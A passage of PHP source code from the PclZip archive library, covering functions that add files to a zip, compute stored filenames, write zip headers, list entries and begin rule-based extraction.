    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAddFileList()
  // Description :
  // Parameters :
  //   $p_filedescr_list : An array containing the file description
  //                      or directory names to add in the zip
  //   $p_result_list : list of added files with their properties (specially the status field)
  // Return Values :
  // --------------------------------------------------------------------------------
  function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
  {
    $v_result=1;
    $v_header = array();

    // ----- Recuperate the current number of elt in list
    $v_nb = sizeof($p_result_list);

    // ----- Loop on the files
    for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) {
      // ----- Format the filename
      $p_filedescr_list[$j]['filename']
      = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);


      // ----- Skip empty file names
      // TBC : Can this be possible ? not checked in DescrParseAtt ?
      if ($p_filedescr_list[$j]['filename'] == "") {
        continue;
      }

      // ----- Check the filename
      if (   ($p_filedescr_list[$j]['type'] != 'virtual_file')
          && (!file_exists($p_filedescr_list[$j]['filename']))) {
        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist");
        return PclZip::errorCode();
      }

      // ----- Look if it is a file or a dir with no all path remove option
      // or a dir with all its path removed
//      if (   (is_file($p_filedescr_list[$j]['filename']))
//          || (   is_dir($p_filedescr_list[$j]['filename'])
      if (   ($p_filedescr_list[$j]['type'] == 'file')
          || ($p_filedescr_list[$j]['type'] == 'virtual_file')
          || (   ($p_filedescr_list[$j]['type'] == 'folder')
              && (   !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])
                  || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))
          ) {

        // ----- Add the file
        $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header,
                                       $p_options);
        if ($v_result != 1) {
          return $v_result;
        }

        // ----- Store the file infos
        $p_result_list[$v_nb++] = $v_header;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAddFile()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privAddFile($p_filedescr, &$p_header, &$p_options)
  {
    $v_result=1;

    // ----- Working variable
    $p_filename = $p_filedescr['filename'];

    // TBC : Already done in the fileAtt check ... ?
    if ($p_filename == "") {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Look for a stored different filename
    /* TBC : Removed
    if (isset($p_filedescr['stored_filename'])) {
      $v_stored_filename = $p_filedescr['stored_filename'];
    }
    else {
      $v_stored_filename = $p_filedescr['stored_filename'];
    }
    */

    // ----- Set the file properties
    clearstatcache();
    $p_header['version'] = 20;
    $p_header['version_extracted'] = 10;
    $p_header['flag'] = 0;
    $p_header['compression'] = 0;
    $p_header['crc'] = 0;
    $p_header['compressed_size'] = 0;
    $p_header['filename_len'] = strlen($p_filename);
    $p_header['extra_len'] = 0;
    $p_header['disk'] = 0;
    $p_header['internal'] = 0;
    $p_header['offset'] = 0;
    $p_header['filename'] = $p_filename;
// TBC : Removed    $p_header['stored_filename'] = $v_stored_filename;
    $p_header['stored_filename'] = $p_filedescr['stored_filename'];
    $p_header['extra'] = '';
    $p_header['status'] = 'ok';
    $p_header['index'] = -1;

    // ----- Look for regular file
    if ($p_filedescr['type']=='file') {
      $p_header['external'] = 0x00000000;
      $p_header['size'] = filesize($p_filename);
    }

    // ----- Look for regular folder
    else if ($p_filedescr['type']=='folder') {
      $p_header['external'] = 0x00000010;
      $p_header['mtime'] = filemtime($p_filename);
      $p_header['size'] = filesize($p_filename);
    }

    // ----- Look for virtual file
    else if ($p_filedescr['type'] == 'virtual_file') {
      $p_header['external'] = 0x00000000;
      $p_header['size'] = strlen($p_filedescr['content']);
    }


    // ----- Look for filetime
    if (isset($p_filedescr['mtime'])) {
      $p_header['mtime'] = $p_filedescr['mtime'];
    }
    else if ($p_filedescr['type'] == 'virtual_file') {
      $p_header['mtime'] = time();
    }
    else {
      $p_header['mtime'] = filemtime($p_filename);
    }

    // ------ Look for file comment
    if (isset($p_filedescr['comment'])) {
      $p_header['comment_len'] = strlen($p_filedescr['comment']);
      $p_header['comment'] = $p_filedescr['comment'];
    }
    else {
      $p_header['comment_len'] = 0;
      $p_header['comment'] = '';
    }

    // ----- Look for pre-add callback
    if (isset($p_options[PCLZIP_CB_PRE_ADD])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_header, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header);
      if ($v_result == 0) {
        // ----- Change the file status
        $p_header['status'] = "skipped";
        $v_result = 1;
      }

      // ----- Update the information
      // Only some fields can be modified
      if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
        $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
      }
    }

    // ----- Look for empty stored filename
    if ($p_header['stored_filename'] == "") {
      $p_header['status'] = "filtered";
    }

    // ----- Check the path length
    if (strlen($p_header['stored_filename']) > 0xFF) {
      $p_header['status'] = 'filename_too_long';
    }

    // ----- Look if no error, or file not skipped
    if ($p_header['status'] == 'ok') {

      // ----- Look for a file
      if ($p_filedescr['type'] == 'file') {
        // ----- Look for using temporary file to zip
        if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
            && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
                || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
                    && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) {
          $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
          if ($v_result < PCLZIP_ERR_NO_ERROR) {
            return $v_result;
          }
        }

        // ----- Use "in memory" zip algo
        else {

        // ----- Open the source file
        if (($v_file = @fopen($p_filename, "rb")) == 0) {
          PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
          return PclZip::errorCode();
        }

        // ----- Read the file content
        if ($p_header['size'] > 0) {
          $v_content = @fread($v_file, $p_header['size']);
        }
        else {
          $v_content = '';
        }

        // ----- Close the file
        @fclose($v_file);

        // ----- Calculate the CRC
        $p_header['crc'] = @crc32($v_content);

        // ----- Look for no compression
        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
          // ----- Set header parameters
          $p_header['compressed_size'] = $p_header['size'];
          $p_header['compression'] = 0;
        }

        // ----- Look for normal compression
        else {
          // ----- Compress the content
          $v_content = @gzdeflate($v_content);

          // ----- Set header parameters
          $p_header['compressed_size'] = strlen($v_content);
          $p_header['compression'] = 8;
        }

        // ----- Call the header generation
        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
          @fclose($v_file);
          return $v_result;
        }

        // ----- Write the compressed (or not) content
        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);

        }

      }

      // ----- Look for a virtual file (a file from string)
      else if ($p_filedescr['type'] == 'virtual_file') {

        $v_content = $p_filedescr['content'];

        // ----- Calculate the CRC
        $p_header['crc'] = @crc32($v_content);

        // ----- Look for no compression
        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
          // ----- Set header parameters
          $p_header['compressed_size'] = $p_header['size'];
          $p_header['compression'] = 0;
        }

        // ----- Look for normal compression
        else {
          // ----- Compress the content
          $v_content = @gzdeflate($v_content);

          // ----- Set header parameters
          $p_header['compressed_size'] = strlen($v_content);
          $p_header['compression'] = 8;
        }

        // ----- Call the header generation
        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
          @fclose($v_file);
          return $v_result;
        }

        // ----- Write the compressed (or not) content
        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
      }

      // ----- Look for a directory
      else if ($p_filedescr['type'] == 'folder') {
        // ----- Look for directory last '/'
        if (@substr($p_header['stored_filename'], -1) != '/') {
          $p_header['stored_filename'] .= '/';
        }

        // ----- Set the file properties
        $p_header['size'] = 0;
        //$p_header['external'] = 0x41FF0010;   // Value for a folder : to be checked
        $p_header['external'] = 0x00000010;   // Value for a folder : to be checked

        // ----- Call the header generation
        if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
        {
          return $v_result;
        }
      }
    }

    // ----- Look for post-add callback
    if (isset($p_options[PCLZIP_CB_POST_ADD])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_header, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header);
      if ($v_result == 0) {
        // ----- Ignored
        $v_result = 1;
      }

      // ----- Update the information
      // Nothing can be modified
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAddFileUsingTempFile()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
  {
    $v_result=PCLZIP_ERR_NO_ERROR;

    // ----- Working variable
    $p_filename = $p_filedescr['filename'];


    // ----- Open the source file
    if (($v_file = @fopen($p_filename, "rb")) == 0) {
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
      return PclZip::errorCode();
    }

    // ----- Creates a compressed temporary file
    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
    if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
      fclose($v_file);
      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
      return PclZip::errorCode();
    }

    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
    $v_size = filesize($p_filename);
    while ($v_size != 0) {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($v_file, $v_read_size);
      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
      @gzputs($v_file_compressed, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Close the file
    @fclose($v_file);
    @gzclose($v_file_compressed);

    // ----- Check the minimum file size
    if (filesize($v_gzip_temp_name) < 18) {
      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes');
      return PclZip::errorCode();
    }

    // ----- Extract the compressed attributes
    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
      return PclZip::errorCode();
    }

    // ----- Read the gzip file header
    $v_binary_data = @fread($v_file_compressed, 10);
    $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);

    // ----- Check some parameters
    $v_data_header['os'] = bin2hex($v_data_header['os']);

    // ----- Read the gzip file footer
    @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8);
    $v_binary_data = @fread($v_file_compressed, 8);
    $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);

    // ----- Set the attributes
    $p_header['compression'] = ord($v_data_header['cm']);
    //$p_header['mtime'] = $v_data_header['mtime'];
    $p_header['crc'] = $v_data_footer['crc'];
    $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18;

    // ----- Close the file
    @fclose($v_file_compressed);

    // ----- Call the header generation
    if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
      return $v_result;
    }

    // ----- Add the compressed data
    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0)
    {
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
      return PclZip::errorCode();
    }

    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
    fseek($v_file_compressed, 10);
    $v_size = $p_header['compressed_size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($v_file_compressed, $v_read_size);
      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Close the file
    @fclose($v_file_compressed);

    // ----- Unlink the temporary file
    @unlink($v_gzip_temp_name);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privCalculateStoredFilename()
  // Description :
  //   Based on file descriptor properties and global options, this method
  //   calculate the filename that will be stored in the archive.
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privCalculateStoredFilename(&$p_filedescr, &$p_options)
  {
    $v_result=1;

    // ----- Working variables
    $p_filename = $p_filedescr['filename'];
    if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
      $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
    }
    else {
      $p_add_dir = '';
    }
    if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
      $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
    }
    else {
      $p_remove_dir = '';
    }
    if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
      $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
    }
    else {
      $p_remove_all_dir = 0;
    }


    // ----- Look for full name change
    if (isset($p_filedescr['new_full_name'])) {
      // ----- Remove drive letter if any
      $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);
    }

    // ----- Look for path and/or short name change
    else {

      // ----- Look for short name change
      // Its when we change just the filename but not the path
      if (isset($p_filedescr['new_short_name'])) {
        $v_path_info = pathinfo($p_filename);
        $v_dir = '';
        if ($v_path_info['dirname'] != '') {
          $v_dir = $v_path_info['dirname'].'/';
        }
        $v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
      }
      else {
        // ----- Calculate the stored filename
        $v_stored_filename = $p_filename;
      }

      // ----- Look for all path to remove
      if ($p_remove_all_dir) {
        $v_stored_filename = basename($p_filename);
      }
      // ----- Look for partial path remove
      else if ($p_remove_dir != "") {
        if (substr($p_remove_dir, -1) != '/')
          $p_remove_dir .= "/";

        if (   (substr($p_filename, 0, 2) == "./")
            || (substr($p_remove_dir, 0, 2) == "./")) {

          if (   (substr($p_filename, 0, 2) == "./")
              && (substr($p_remove_dir, 0, 2) != "./")) {
            $p_remove_dir = "./".$p_remove_dir;
          }
          if (   (substr($p_filename, 0, 2) != "./")
              && (substr($p_remove_dir, 0, 2) == "./")) {
            $p_remove_dir = substr($p_remove_dir, 2);
          }
        }

        $v_compare = PclZipUtilPathInclusion($p_remove_dir,
                                             $v_stored_filename);
        if ($v_compare > 0) {
          if ($v_compare == 2) {
            $v_stored_filename = "";
          }
          else {
            $v_stored_filename = substr($v_stored_filename,
                                        strlen($p_remove_dir));
          }
        }
      }

      // ----- Remove drive letter if any
      $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);

      // ----- Look for path to add
      if ($p_add_dir != "") {
        if (substr($p_add_dir, -1) == "/")
          $v_stored_filename = $p_add_dir.$v_stored_filename;
        else
          $v_stored_filename = $p_add_dir."/".$v_stored_filename;
      }
    }

    // ----- Filename (reduce the path of stored name)
    $v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
    $p_filedescr['stored_filename'] = $v_stored_filename;

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privWriteFileHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privWriteFileHeader(&$p_header)
  {
    $v_result=1;

    // ----- Store the offset position of the file
    $p_header['offset'] = ftell($this->zip_fd);

    // ----- Transform UNIX mtime to DOS format mdate/mtime
    $v_date = getdate($p_header['mtime']);
    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];

    // ----- Packed data
    $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
	                      $p_header['version_extracted'], $p_header['flag'],
                          $p_header['compression'], $v_mtime, $v_mdate,
                          $p_header['crc'], $p_header['compressed_size'],
						  $p_header['size'],
                          strlen($p_header['stored_filename']),
						  $p_header['extra_len']);

    // ----- Write the first 148 bytes of the header in the archive
    fputs($this->zip_fd, $v_binary_data, 30);

    // ----- Write the variable fields
    if (strlen($p_header['stored_filename']) != 0)
    {
      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
    }
    if ($p_header['extra_len'] != 0)
    {
      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privWriteCentralFileHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privWriteCentralFileHeader(&$p_header)
  {
    $v_result=1;

    // TBC
    //for(reset($p_header); $key = key($p_header); next($p_header)) {
    //}

    // ----- Transform UNIX mtime to DOS format mdate/mtime
    $v_date = getdate($p_header['mtime']);
    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];


    // ----- Packed data
    $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
	                      $p_header['version'], $p_header['version_extracted'],
                          $p_header['flag'], $p_header['compression'],
						  $v_mtime, $v_mdate, $p_header['crc'],
                          $p_header['compressed_size'], $p_header['size'],
                          strlen($p_header['stored_filename']),
						  $p_header['extra_len'], $p_header['comment_len'],
                          $p_header['disk'], $p_header['internal'],
						  $p_header['external'], $p_header['offset']);

    // ----- Write the 42 bytes of the header in the zip file
    fputs($this->zip_fd, $v_binary_data, 46);

    // ----- Write the variable fields
    if (strlen($p_header['stored_filename']) != 0)
    {
      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
    }
    if ($p_header['extra_len'] != 0)
    {
      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
    }
    if ($p_header['comment_len'] != 0)
    {
      fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privWriteCentralHeader()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
  {
    $v_result=1;

    // ----- Packed data
    $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
	                      $p_nb_entries, $p_size,
						  $p_offset, strlen($p_comment));

    // ----- Write the 22 bytes of the header in the zip file
    fputs($this->zip_fd, $v_binary_data, 22);

    // ----- Write the variable fields
    if (strlen($p_comment) != 0)
    {
      fputs($this->zip_fd, $p_comment, strlen($p_comment));
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privList()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privList(&$p_list)
  {
    $v_result=1;

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Open the zip file
    if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
    {
      // ----- Magic quotes trick
      $this->privSwapBackMagicQuotes();

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      $this->privSwapBackMagicQuotes();
      return $v_result;
    }

    // ----- Go to beginning of Central Dir
    @rewind($this->zip_fd);
    if (@fseek($this->zip_fd, $v_central_dir['offset']))
    {
      $this->privSwapBackMagicQuotes();

      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Read each entry
    for ($i=0; $i<$v_central_dir['entries']; $i++)
    {
      // ----- Read the file header
      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
      {
        $this->privSwapBackMagicQuotes();
        return $v_result;
      }
      $v_header['index'] = $i;

      // ----- Get the only interesting attributes
      $this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
      unset($v_header);
    }

    // ----- Close the zip file
    $this->privCloseFd();

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privConvertHeader2FileInfo()
  // Description :
  //   This function takes the file information from the central directory
  //   entries and extract the interesting parameters that will be given back.
  //   The resulting file infos are set in the array $p_info
  //     $p_info['filename'] : Filename with full path. Given by user (add),
  //                           extracted in the filesystem (extract).
  //     $p_info['stored_filename'] : Stored filename in the archive.
  //     $p_info['size'] = Size of the file.
  //     $p_info['compressed_size'] = Compressed size of the file.
  //     $p_info['mtime'] = Last modification date of the file.
  //     $p_info['comment'] = Comment associated with the file.
  //     $p_info['folder'] = true/false : indicates if the entry is a folder or not.
  //     $p_info['status'] = status of the action on the file.
  //     $p_info['crc'] = CRC of the file content.
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privConvertHeader2FileInfo($p_header, &$p_info)
  {
    $v_result=1;

    // ----- Get the interesting attributes
    $v_temp_path = PclZipUtilPathReduction($p_header['filename']);
    $p_info['filename'] = $v_temp_path;
    $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']);
    $p_info['stored_filename'] = $v_temp_path;
    $p_info['size'] = $p_header['size'];
    $p_info['compressed_size'] = $p_header['compressed_size'];
    $p_info['mtime'] = $p_header['mtime'];
    $p_info['comment'] = $p_header['comment'];
    $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
    $p_info['index'] = $p_header['index'];
    $p_info['status'] = $p_header['status'];
    $p_info['crc'] = $p_header['crc'];

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privExtractByRule()
  // Description :
  //   Extract a file or directory depending of rules (by index, by name, ...)
  // Parameters :
  //   $p_file_list : An array where will be placed the properties of each
  //                  extracted file
  //   $p_path : Path to add while writing the extracted files
  //   $p_remove_path : Path to remove (from the file memorized path) while writing the
  //                    extracted files. If the path does not match the file path,
  //                    the file is extracted with its memorized path.
  //                    $p_remove_path does not apply to 'list' mode.
  //                    $p_path and $p_remove_path are commulative.
  // Return Values :
  //   1 on success,0 or less on error (see error code list)
  // --------------------------------------------------------------------------------
  function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
  {
    $v_result=1;

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Check the path
    if (   ($p_path == "")
	    || (   (substr($p_path, 0, 1) != "/")
		    && (substr($p_path, 0, 3) != "../")
			&& (substr($p_path,1,2)!=":/")))
      $p_path = "./".$p_path;

    // ----- Reduce the path last (and duplicated) '/'
    if (($p_path != "./") && ($p_path != "/"))
    {
      // ----- Look for the path end '/'
      while (substr($p_path, -1) == "/")
      {
        $p_path = substr($p_path, 0, strlen($p_path)-1);
      }
    }

    // ----- Look for path to remove format (should end by /)
    if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
    {
      $p_remove_path .= '/';
    }
    $p_remove_path_size = strlen($p_remove_path);

    // ----- Open the zip file
    if (($v_result = $this->privOpenFd('rb')) != 1)
    {
      $this->privSwapBackMagicQuotes();
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      // ----- Close the zip file
      $this->privCloseFd();
      $this->privSwapBackMagicQuotes();

      return $v_result;
    }

    // ----- Start at beginning of Central Dir
    $v_pos_entry = $v_central_dir['offset'];

    // ----- Read each entry
    $j_start = 0;
    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
    {

      // ----- Read next Central dir entry
      @rewind($this->zip_fd);
      if (@fseek($this->zip_fd, $v_pos_entry))
      {
        // ----- Close the zip file
        $this->privCloseFd();
        $this->privSwapBackMagicQuotes();

        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Read the file header
      $v_header = array();
      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
      {
        // ----- Close the zip file
        $this->privCloseFd();
        $this->privSwapBackMagicQuotes();

        return $v_result;
      }

      // ----- Store the index
      $v_header['index'] = $i;

      // ----- Store the file position
      $v_pos_entry = ftell($this->zip_fd);

      // ----- Look for the specific extract rules
      $v_extract = false;

      // ----- Look for extract by name rule
      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {

          // ----- Look if the filename is in the list
          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {

              // ----- Look for a directory
              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {

                  // ----- Look if the directory is in the filename path
                  if (   (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
                      && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                      $v_extract = true;
                  }
              }
              // ----- Look for a filename
              elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
                  $v_extract = true;
              }
          }
      }

      // ----- Look for extract by ereg rule
      // ereg() is deprecated with PHP 5.3
      /*
      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {

          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) {
              $v_extract = true;
          }
      }
      */

      // ----- Look for extract by preg rule
      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {

          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
              $v_extract = true;
          }
      }

      // ----- Look for extract by index rule
      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {

          // ----- Look if the index is in the list
          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {

              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
                  $v_extract = true;
              }
              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
                  $j_start = $j+1;
              }

              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
                  break;
              }
          }
      }

      // ----- Look for no rule, which means extract all the archive
      else {
          $v_extract = true;
      }

	  // ----- Check compression method
	  if (   ($v_extract)
	      && (   ($v_header['compression'] != 8)
		      && ($v_header['compression'] != 0))) {
          $v_header['status'] = 'unsupported_compression';

          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

              $this->privSwapBackMagicQuotes();

              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
			                       "Filename '".$v_header['stored_filename']."' is "
				  	    	  	   ."compressed by an unsupported compression "
				  	    	  	   ."method (".$v_header['compression'].") ");

              return PclZip::errorCode();
		  }
	  }

	  // ----- Check encrypted files
	  if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
          $v_header['status'] = 'unsupported_encryption';

          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {

              $this->privSwapBackMagicQuotes();

              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
			                       "Unsupported encryption for "
				  	    	  	   ." filename '".$v_header['stored_filename']
								   ."'");

              return PclZip::errorCode();
		  }
    }

      // ----- Look for real extraction
      if (($v_extract) && ($v_header['status'] != 'ok')) {
          $v_result = $this->privConvertHeader2FileInfo($v_header,
		                                        $p_file_list[$v_nb_extracted++]);
          if ($v_result != 1) {
              $this->privCloseFd();
              $this->privSwapBackMagicQuotes();
              return $v_result;
          }

          $v_extract = false;
      }

      // ----- Look for real extraction
      if ($v_extract)
      {

        // ----- Go to the file position
        @rewind($this->zip_fd);
        if (@fseek($this->zip_fd, $v_header['offset']))
        {
          // ----- Close the zip file
          $this->privCloseFd();

